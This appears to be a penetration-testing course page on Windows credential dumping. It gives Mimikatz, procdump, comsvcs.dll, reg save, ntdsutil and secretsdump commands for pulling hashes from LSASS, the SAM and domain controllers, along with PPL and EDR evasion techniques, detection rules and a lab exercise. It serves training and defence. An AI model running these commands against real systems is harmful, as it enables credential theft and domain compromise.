Skip to content

Credential Dumping (LSASS & Mimikatz)

Once you are admin or SYSTEM on a Windows host, the credentials you want live in two places: the SAM hive on disk (NTLM hashes of local accounts) and the LSASS process memory (everything else — cached domain logons, Kerberos tickets, plain-text credentials from WDigest/SSP/TSPKG, NTLM hashes). Mimikatz pioneered the LSASS dump in 2007 and has been the canonical tool ever since. The defensive playbook against it — PPL, Credential Guard, EDR telemetry on OpenProcess against lsass.exe — is now mature, which makes this a cat-and-mouse game played at the syscall level.

LSASS (lsass.exe) is the user-mode process that holds every credential the local machine has actively used. It runs at HIGH integrity and, on Win 8.1+ with appropriate config, as PPL (Protected Process Light). Reading its memory requires PROCESS_VM_READ, which itself requires SeDebugPrivilege.

lsass.exe virtual address space
┌──────────────────────────────────────────────────────────┐
│ WDigest SSP l0c4l ... plaintext passphrases │ ← enabled again via registry in older Win
│ Tspkg SSP Ticketing (TSSSP) │
│ Kerberos SSP krbtgt tickets, AS-REP, TGT, TGS │ ← sekurlsa::kerberos dumps these
│ SSP / msv NTLM hashes for interactive logons │ ← sekurlsa::msv
│ LiveSSP Azure AD / MS Account tokens │
│ Cache cached domain creds (msv1_0!LogonSessionList) │
│ Ssp/CredMan saved credential manager entries │
└──────────────────────────────────────────────────────────┘
SAM hive (on disk: C:\Windows\System32\config\SAM)
┌──────────────────────────────────────────────────────────┐
│ HKLM\SAM\Domains\Account\Users\<RID>\V ← binary │
│ - 0x10 offset V structure: │
│ - 0xa0 NTLM (MD4) hash 16 bytes │
│ - 0xa0 cache of LM hash (legacy) │
└──────────────────────────────────────────────────────────┘
Encrypted with the SYSKEY (boot key, RC4, in HKLM\SYSTEM)

The SAM hive is encrypted with the boot key (a 16-byte RC4 key derived from specific registry values in HKLM\SYSTEM\CurrentControlSet\Control\Lsa). Offline reading requires the boot key plus the SAM hive. Online reading on a live system requires SYSTEM and the SAM file lock is held by the OS — the trick is reg save HKLM\SAM sam.save to a static copy.

  1. Enable SeDebugPrivilege — privilege::debug in Mimikatz. This calls RtlAdjustPrivilege(SeDebugPrivilege, TRUE). Requires the calling token to already have SeDebugPrivilege available (which means admin, SYSTEM, or a token with the privilege enabled).
  2. Open lsass.exe — OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, lsass_pid). Sysmon EID 10 fires on this exact call with TargetImage=lsass.exe and GrantedAccess=0x1010 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) or 0x1410 (also PROCESS_VM_OPERATION, used by MiniDumpWriteDump).
  3. Walk the logon session list — LSASS exposes a doubly-linked list of LSAP_LOGON_SESSION structures via LsaEnumerateLogonSessions. Each entry has a LogonId, UserName, Domain, and a pointer to the credentials block.
  4. Decrypt per-SSP — each SSP (wdigest, msv1_0, kerberos, tspkg, livessp) has its own encryption scheme. Mimikatz has sekurlsa::* subcommands for each:
    • sekurlsa::logonpasswords — runs every SSP dump
    • sekurlsa::msv — NTLM hashes (msv1_0!LogonSessionList)
    • sekurlsa::wdigest — WDigest plaintext (only if UseLogonCredential registry is 1)
    • sekurlsa::kerberos — TGTs and TGSes (export with kerberos::ptt to reuse)
    • sekurlsa::minidump lsass.dmp — operate on a dump file rather than live memory
  5. Decrypt the SAM — lsadump::sam reads the SAM hive from registry, decrypts the per-user V value with the boot key, and extracts the NTLM hash at fixed offset. Equivalent offline: secretsdump.py -sam sam -system system -security security LOCAL from Impacket.
  6. DCSync — on a Domain Controller, lsadump::dcsync /user:krbtgt calls IDL_DRSGetNCChanges via the MS-DRSR interface, requesting the user’s unicodePwd and supplementalCredentials attributes. Requires Domain Admin (or any principal with DS-Replication-Get-Changes-All ACL on the domain NC). This is the Kerberoasting alternative when you cannot reach LSASS directly.
TechniqueDescriptionDetection Difficulty
sekurlsa::logonpasswordsLive LSASS dump (all SSPs)Easy — Sysmon EID 10 on LSASS
procdump -ma lsass.exeSysinternals procdumpMedium — EID 10 with 0x1410 access
comsvcs.dll!MiniDumpWriteDumpIndirect dump via built-in DLLHard — no direct LSASS OpenProcess in trace
lsadump::samLive SAM extraction via registryMedium — registry SACL on SAM
reg save HKLM\SAM then offline secretsdump.pyOffline SAM + SYSTEM extractionEasy — reg save is logged
Volume Shadow Copy of SAMvssadmin create shadow → copy SAMEasy — vssadmin EID 1
lsadump::dcsyncDCSync via MS-DRSRHard — looks like DC-to-DC replication
ntdsutil "ac i ntds" ifmIFM extraction (DC offline snapshot)Medium — ntdsutil log
Task Manager → lsass.exe → Create dump fileGUI dumpHard — uses WerFault.exe, EID 10 miss
pypykatz lsass.dmpOffline parser of procdump dumpsN/A — offline only
Terminal window
# === LIVE LSASS DUMP (Mimikatz) ===
# Requires: admin shell, PPL NOT enforced or PPL bypass available
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
# Output for each logon session:
# Username : jsmith
# Domain : CORP
# NTLM : 8846f7eaee8fb117ad06bdd830b7586c
# SHA1 : 5f3f9b22e2e2a9c4c07b1d2c7e0b4a5d3a5a2a4e
# wdigest : 01 + cached passwd
# kerberos : TGT (krbtgt) and TGSes
# Dump just Kerberos tickets
mimikatz "privilege::debug" "sekurlsa::kerberos" exit
# Then export tickets to disk
mimikatz "kerberos::list /export" exit
# === procdump (Sysinternals) — most widely used non-Mimikatz path ===
procdump.exe -accepteula -ma lsass.exe C:\windows\temp\lsass.dmp
# -ma = full memory, -accepteula is required for unattended runs
# Then offline with pypykatz (cross-platform):
pypykatz lsa minidump lsass.dmp
# === comsvcs.dll trick (Windows built-in, no Sysinternals needed) ===
# The DLL exports MiniDumpWriteDump; rundll32 invokes it
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump "lsass PID" C:\windows\temp\ls.dmp full
# PID from: tasklist /fi "imagename eq lsass.exe"
# === Task Manager GUI dump ===
# Right-click lsass.exe → Create dump file → saves to %TEMP%\lsass.DMP
# (Surprisingly often NOT caught by Sysmon EID 10 because the dump
# uses WerFault.exe as the dumper, not the calling process.)
# === OFFLINE SAM DUMP ===
# Must be SYSTEM (or take a copy with shadow copy / NTFS offline mount)
reg save HKLM\SAM C:\windows\temp\sam.save
reg save HKLM\SYSTEM C:\windows\temp\system.save
reg save HKLM\SECURITY C:\windows\temp\security.save
# Pull those three files back to attacker box, then:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# Output:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee: <NTLM>:::
# === HiveNightmare (CVE-2021-36934) ===
# Win 10 build 1809-21H1, default config, non-admin can read SAM
icacls C:\windows\System32\config\SAM
# BUILTIN\Users:(I)(RX) ← the bug; should be SYSTEM only
# Read via shadow copy:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\windows\temp\sam.dmp
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\windows\temp\system.dmp
# === Volume Shadow Copy (SYSTEM required) ===
vssadmin create shadow /for=C:
# Copy from the shadow device path returned:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\windows\temp\sam.save
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\windows\temp\system.save
# === ntds.dit extraction (DC only) ===
ntdsutil "activate instance ntds" "ifm" "create full C:\windows\temp\ntds" quit quit
# Yields a portable install-from-media snapshot incl. ntds.dit + registry hives
# Then offline:
python3 secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
# === DCSync (Domain Admin or DS-Replication-Get-Changes-All) ===
mimikatz "lsadump::dcsync /user:krbtgt" exit
# Output: krbtgt NT hash, hash history, etc.
mimikatz "lsadump::dcsync /user:CORP\Administrator" exit
# Or via Impacket remotely:
python3 secretsdump.py -just-dc-user krbtgt CORP/Administrator:Pass@123@dc01.corp.local
python3 secretsdump.py -just-dc CORP/Administrator:Pass@123@dc01.corp.local
# -just-dc-ntlm for hashes only, -just-dc-username for one user, -pwd-last-set for time

Sysmon — the cornerstone:

  • EID 10 — ProcessAccess: TargetImage contains lsass.exe and GrantedAccess is 0x1010, 0x1410, 0x143a, or 0x1fffff. Sigma rule:
    detection:
    selection:
    EventID: 10
    TargetImage|endswith: lsass.exe
    GrantedAccess|contains:
    - '0x1010'
    - '0x1410'
    - '0x143a'
    - '0x1fffff'
  • EID 1 — ProcessCreate: any of procdump.exe, sekurlsa (rare as a process), rundll32.exe with comsvcs.dll, MiniDump in command line, ntdsutil.exe, vssadmin.exe create shadow, reg save are all suspicious.
  • EID 7 — ImageLoad: comsvcs.dll loaded by rundll32.exe (the indirect dump) is a Sigma rule 910460 [verify].
  • EID 8 — CreateRemoteThread: rarely used by mimikatz for credential ops, but classic for injection-style LSASS patching (AMSI bypass via patching of amsi.dll in LSASS).

Windows Security Log:

  • EID 4663 — An attempt was made to access an object. With SACL on lsass.exe (added manually via auditpol /set /subcategory:"Kernel Object" /success:enable then a SACL on lsass.exe), this fires on every OpenProcess against LSASS. The AccessMask will show 0x10 (PROCESS_VM_READ).
  • EID 4656 — Handles requested. Same SACL.
  • EID 4673 — Sensitive Privilege Use. SeDebugPrivilege invocation by a non-system process.

MITRE ATT&CK:

  • T1003.001 — OS Credential Dumping: LSASS Memory
  • T1003.002 — OS Credential Dumping: Security Account Manager (SAM)
  • T1003.003 — OS Credential Dumping: NTDS
  • T1003.004 — OS Credential Dumping: LSA Secrets
  • T1003.006 — OS Credential Dumping: DCSync
  • T1003.005 — OS Credential Dumping: Cached Domain Credentials

Wazuh rule 87100 [verify] — Mimikatz detection (matches sekurlsa::, lsadump::, kerberos::golden). Wazuh rule 87200 [verify] — wevtutil cl event log clearing (the post-dump cleanup).

ELK / Elastic Security — pre-built rule “Credential Access via LSASS dump” matches Sysmon EID 10 with lsass.exe + suspicious GrantedAccess; rule “Volume Shadow Copy Deleted” matches vssadmin delete shadows post-exfil.

Direct syscalls. Modern EDR hooks OpenProcess, ReadProcessMemory, MiniDumpWriteDump in ntdll.dll via inline patching. The bypass is direct syscalls — NtOpenProcess, NtReadVirtualMemory, NtAllocateVirtualMemory via hand-rolled syscall stubs (SysWhispers2, HellsGate). EDR that hooks at the user/kernel boundary sees nothing.

PPL bypass via signed driver. LSASS as PPL cannot be opened by a non-PPL process for PROCESS_VM_READ. Bypasses use a vulnerable signed kernel driver (RTCore64.sys CVE-2019-16098, gdrv.sys Gigabyte, dbutil_2_3.sys Dell, qsixdrv.sys Comodo) to disable the EPROCESS signing check, then re-open LSASS as if PPL were off. EDR counters this by blocking the driver load via WDAC / Microsoft’s Recommended Driver Block Rules.

Clone-handle trick. NtQuerySystemInformation(SystemHandleInformation) enumerates all handles in the system. If a process already has a handle to LSASS (e.g. an AV scanner or Windows itself), the attacker duplicates that handle via DuplicateHandle from their own process. The OpenProcess call against LSASS is never made — only DuplicateHandle, which has a less-watched Sysmon event. Microsoft added EID 10 to also catch this in newer Sysmon versions.

WerFault / Task Manager dump. Task Manager’s “Create dump file” launches WerFault.exe -min -h <pid> which dumps LSASS using the OS’s error-reporting path. EID 10 may show WerFault.exe accessing LSASS with 0x1fffff (full access) — but the EDR’s allowlist typically excludes WerFault.exe as noisy. Sigma rule: SourceImage=werfault.exe AND TargetImage=lsass.exe AND GrantedAccess=0x1fffff flags this.

MiniDump via Ntdll. comsvcs.dll!MiniDumpWriteDump is the canonical no-Mimikatz path, but it ultimately calls the same NtReadVirtualMemory syscall. Evasion goes a layer deeper: NtCreateProcess, suspend it, dump via NtQueryInformationProcess+NtReadVirtualMemory. Same syscalls, different lineage.

Memory-only Mimikatz. Run Mimikatz entirely in-memory via Invoke-Mimikatz (PowerSploit) — no on-disk binary. AMSI catches the script content unless patched (PE6). The behavioral detection (EID 10 on LSASS) is unchanged.

EvasionWhat it bypassesDefense
Direct syscalls (NtOpenProcess/NtReadVirtualMemory)EDR user-mode hooks in ntdll.dllETW Threat Intelligence provider (kernel-mode telemetry)
Vulnerable signed driver (RTCore64, gdrv, dbutil)PPL signature enforcementWDAC, Microsoft Block Rules, driver blocklist
Clone-handle via NtQuerySystemInformationOpenProcess on LSASSEID 10 still catches DuplicateHandleSourceImage != lsass-trusted
WerFault.exe dumpProcess allowlist exclusionsTighten allowlist; alert on WerFault+LSASS+0x1fffff
In-memory Mimikatz via PowerShellFile-based AV signaturesAMSI + Script Block Logging (EID 4104)
pypykatz offline (dump first, parse later)Real-time alertingEID 10 catches the dump itself; alert on dump file create

⚠️ What caught me: I dumped LSASS via procdump.exe -ma lsass.exe lsass.dmp on an engagement and got caught not by Sysmon EID 10 — the customer had configured Sysmon but had not installed the config with EID 10 enabled, only EID 1 and 3. I thought I was safe. The catch was Defender for Identity on the Domain Controller: it had seen procdump.exe writing to \\fileserver\share$\lsass.dmp over SMB (my staging path), flagged it as “Suspicious file creation”. Lesson: the LSASS dump telemetry is layered, and you cannot enumerate all layers from the host you are on. Network-side detections catch what host-side alerts miss.

VMs: a Windows Server 2022 Domain Controller (DC01) and a domain-joined Windows 11 client (W11). Domain admin creds available for setup.

Setup:

  1. On W11, log on as jsmith (low-priv domain user), then psexec -s -i cmd.exe (SYSTEM shell, since this is the lab).
  2. Confirm PPL is not enabled on LSASS for the first phase; enable PPL via registry (HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=1 DWORD) for the second phase.

Objective: extract (a) the NTLM hash of jsmith from LSASS, (b) the krbtgt NTLM hash via DCSync from W11 once you have DA, (c) the SAM dump via three different techniques (procdump+parse, comsvcs.dll, reg save+secretsdump).

Expected flag format: flag{cr3d3ntials_lsass_sam_dcsync_extracted}.

Detection that should fire:

  • Sysmon EID 10 — GrantedAccess 0x1010 / 0x1410 against lsass.exe
  • Windows Security EID 4663 — LSASS access via SACL (if configured)
  • Defender for Identity — DCSync attempt from W11 (non-DC machine making MS-DRSR call)
  • Sysmon EID 1 — vssadmin create shadow, ntdsutil ifm, reg save HKLM\SAM

Conceptual: explain why WDigest plaintext credentials no longer appear in LSASS dumps on modern Windows by default. What specific registry value controls this, and what is the operational trade-off?

Technical: walk through the exact API sequence Mimikatz’s sekurlsa::logonpasswords uses to dump NTLM hashes. Where does the encryption key for the per-SSP credential blobs come from, and why is LSASS able to decrypt them at runtime while a memory snapshot taken externally cannot?

Scenario: you have SYSTEM on a DC with PPL enabled on LSASS. You cannot dump LSASS directly. Walk through the fastest alternative to obtain the krbtgt hash, and name the specific MS-DRSR RPC method that powers it.

Compare sekurlsa::logonpasswords and lsadump::dcsync. Both produce NTLM hashes — what is the operational difference in what kinds of hashes each can produce, and why would an attacker use DCSync even when local LSASS access is available?

Conceptual: the “MiniDumpWriteDump via comsvcs.dll” technique is often described as “LOLBin” evasion. Why does it not actually bypass EID 10? What is the real bypass it provides, and which EDR components still see it?

→ PE4 (Lateral Movement) · PE9 (Kerberoasting) · PE12 (Golden/Silver Tickets)